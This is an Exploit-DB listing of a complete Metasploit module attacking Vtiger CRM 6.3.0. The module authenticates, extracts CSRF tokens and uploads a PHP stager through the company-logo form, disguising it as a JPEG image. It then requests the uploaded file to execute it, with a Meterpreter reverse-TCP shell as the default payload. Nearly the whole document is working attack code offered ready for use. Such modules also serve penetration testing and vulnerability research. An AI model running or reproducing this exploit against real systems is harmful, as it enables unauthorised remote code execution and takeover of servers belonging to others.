Vtiger CRM 6.3.0 - (Authenticated) Arbitrary File Upload (Metasploit)

EDB-ID:

44379




Platform:

PHP

Date:

2018-03-30


##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Vtiger CRM 6.3.0 - Authenticated Arbitrary File Upload',
      'Description' => %q{
      Vtiger 6.3.0 CRM's administration interface allows for the upload of
a company logo.
      Instead of uploading an image, an attacker may choose to upload a
file containing PHP code and
      run this code by accessing the resulting PHP file.

      This module was tested against vTiger CRM v6.3.0.
      },
      'Author' =>
        [
            'Benjamin Daniel Mussler', # Discoverys
        'Touhid M.Shaikh <admin[at]touhidshaikh.com>' # Metasploit Module
        ],
      'License' => MSF_LICENSE,
      'References' =>
        [
            ['CVE', '2015-6000'],
        ['CVE','2016-1713'],
            ['EDB', '38345']
        ],
       'DefaultOptions' =>
          {
            'SSL'     => false,
            'PAYLOAD' => 'php/meterpreter/reverse_tcp',
            'Encoder' => 'php/base64'
          },
      'Privileged' => false,
      'Platform'   => ['php'],
      'Arch'       => ARCH_PHP,
      'Targets' =>
        [
          [ 'vTiger CRM v6.3.0', { } ],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Sep 28 2015'))

      register_options(
        [
            OptString.new('TARGETURI', [ true, "Base vTiger CRM directory
path", '/']),
            OptString.new('USERNAME', [ true, "Username to authenticate
with", 'admin']),
            OptString.new('PASSWORD', [ true, "Password to authenticate
with", 'password'])
        ])

      # Some PHP version uses php_short_code=ON
      register_advanced_options(
        [
            OptBool.new('PHPSHORTTAG', [ false, 'Set a short_open_tag
option', false ])
        ], self.class)
  end

  def check
    res = nil
    begin
      res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path,
'index.php') })
    rescue
      vprint_error("Unable to access the index.php file")
      return CheckCode::Unknown
    end

    if res and res.code != 200
      vprint_error("Error accessing the index.php file")
      return CheckCode::Unknown
    end

    if res.body =~ /<small> Powered by vtiger CRM (.*.0)<\/small>/i
      vprint_status("vTiger CRM version: " + $1)
      case $1
      when '6.3.0'
      return Exploit::CheckCode::Vulnerable
      else
        return CheckCode::Detected
      end
    end

    return CheckCode::Safe
  end


  # Login Function.
  def login
      # Dummy Request for grabbing CSRF token and PHPSESSION ID
      res = send_request_cgi({
        'uri' => normalize_uri(target_uri.path, 'index.php'),
        'vhost' => "#{rhost}:#{rport}",
      })

      # Grabbing CSRF token from body
      /var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body
      fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine
CSRF token") if csrf.nil?
      vprint_good("CSRF Token for login: #{csrf}")

      # Get Login now.
      res = send_request_cgi({
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, 'index.php'),
        'vars_get' => {
          'module' => 'Users',
          'action' => 'Login',
        },
        'vars_post' => {
        '__vtrftk' => csrf,
        'username' => datastore['USERNAME'],
        'password' => datastore['PASSWORD']
      },
      })

    unless res
      fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to
Login request")
    end

    if res.code == 302 &&
res.headers['Location'].include?("index.php?module=Users&parent=Settings&view=SystemSetup")
      vprint_good("Authentication successful:
#{datastore['USERNAME']}:#{datastore['PASSWORD']}")
      return res.get_cookies
    else
      fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed
:[ #{datastore['USERNAME']}:#{datastore['PASSWORD']} ]")
      return nil
    end
  end

  def exploit
    begin
      cookie = login
      pay_name = rand_text_alpha(rand(5..10)) + ".php"

      # Make a payload raw. I added this bcz when i making this module.
server have short_open_tag=ON
      vprint_warning("Payload Generate according to
short_open_tag=#{datastore['PHPSHORTTAG']}")
      if datastore['PHPSHORTTAG'] == true
        stager = '<? '
        stager << payload.encode
        stager << ' ?>'
      else
        stager = '<?php '
        stager << payload.encode
        stager << ' ?>'
      end


      # Again request for CSRF_token
      res = send_request_cgi({
        'uri' => normalize_uri(target_uri.path, 'index.php'),
        'vhost' => "#{rhost}:#{rport}",
        'cookie' => cookie
      })

      # Grabbing CSRF token from body
      /var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body
      fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine
CSRF token") if csrf.nil?
      vprint_good("CSRF Token for Form Upload: #{csrf}")

      # Setting Company Form data
      post_data = Rex::MIME::Message.new
      post_data.add_part(csrf, content_type = nil, transfer_encoding = nil,
content_disposition = "form-data; name=\"__vtrftk\"") # CSRF token
      post_data.add_part('Vtiger', content_type = nil, transfer_encoding =
nil, content_disposition = "form-data; name=\"module\"")
      post_data.add_part('Settings', content_type = nil, transfer_encoding
= nil, content_disposition = "form-data; name=\"parent\"")
      post_data.add_part('CompanyDetailsSave', content_type = nil,
transfer_encoding = nil, content_disposition = "form-data; name=\"action\"")
      post_data.add_part(stager, content_type = "image/jpeg",
transfer_encoding = nil, content_disposition = "form-data; name=\"logo\";
filename=\"#{pay_name}\"") #payload Content-type bypass
      post_data.add_part('vtiger', content_type = nil, transfer_encoding =
nil, content_disposition = "form-data; name=\"organizationname\"")
      post_data.add_part('95, 12th Main Road, 3rd Block, Rajajinagar',
content_type = nil, transfer_encoding = nil, content_disposition =
"form-data; name=\"address\"")
      post_data.add_part('Bangalore', content_type = nil, transfer_encoding
= nil, content_disposition = "form-data; name=\"city\"")
      post_data.add_part('Karnataka', content_type = nil, transfer_encoding
= nil, content_disposition = "form-data; name=\"state\"")
      post_data.add_part('560010', content_type = nil, transfer_encoding =
nil, content_disposition = "form-data; name=\"code\"")
      post_data.add_part('India', content_type = nil, transfer_encoding =
nil, content_disposition = "form-data; name=\"country\"")
      post_data.add_part('+91 9243602352', content_type = nil,
transfer_encoding = nil, content_disposition = "form-data; name=\"phonxe\"")
      post_data.add_part('+91 9243602352', content_type = nil,
transfer_encoding = nil, content_disposition = "form-data; name=\"fax\"")
      post_data.add_part('www.touhidshaikh.com', content_type = nil,
transfer_encoding = nil, content_disposition = "form-data;
name=\"website\"")
      post_data.add_part('1234-5678-9012', content_type = nil,
transfer_encoding = nil, content_disposition = "form-data; name=\"vatid\"")
      post_data.add_part(' ', content_type = nil, transfer_encoding = nil,
content_disposition = "form-data; name=\"saveButton\"")
      data = post_data.to_s

      print_good("Payload ready for upload : [ #{pay_name} ]")

      print_status("Uploading payload..")
      # in Company Logo upload our payload.
      res = send_request_cgi({
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, 'index.php'),
        'vhost' => "#{rhost}:#{rport}",
        'cookie' => cookie,
        'connection' => 'close',
        'headers' => {
          'Referer' => "http://
#{rhost}:#{rport}/index.php?parent=Settings&module=Vtiger&view=CompanyDetails",
          'Upgrade-Insecure-Requests' => '1',
        },
        'data' => data,
        'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
      })

      unless res && res.code == 302
        fail_with(Failure::None, "#{peer} - File wasn't uploaded,
aborting!")
      end

      # Cleanup file.
      register_files_for_cleanup(pay_name)

      print_status("Executing Payload [
#{rhost}:#{rport}/test/logo/#{pay_name} ]" )
      res = send_request_cgi({
        'method' => 'GET',
        'uri'    => normalize_uri(target_uri.path, "test", "logo", pay_name)
      })

      # If we don't get a 200 when we request our malicious payload, we
suspect
      # we don't have a shell, either.
      if res && res.code != 200
        print_error("Unexpected response, probably the exploit failed")
      end

      disconnect
    end
  end
end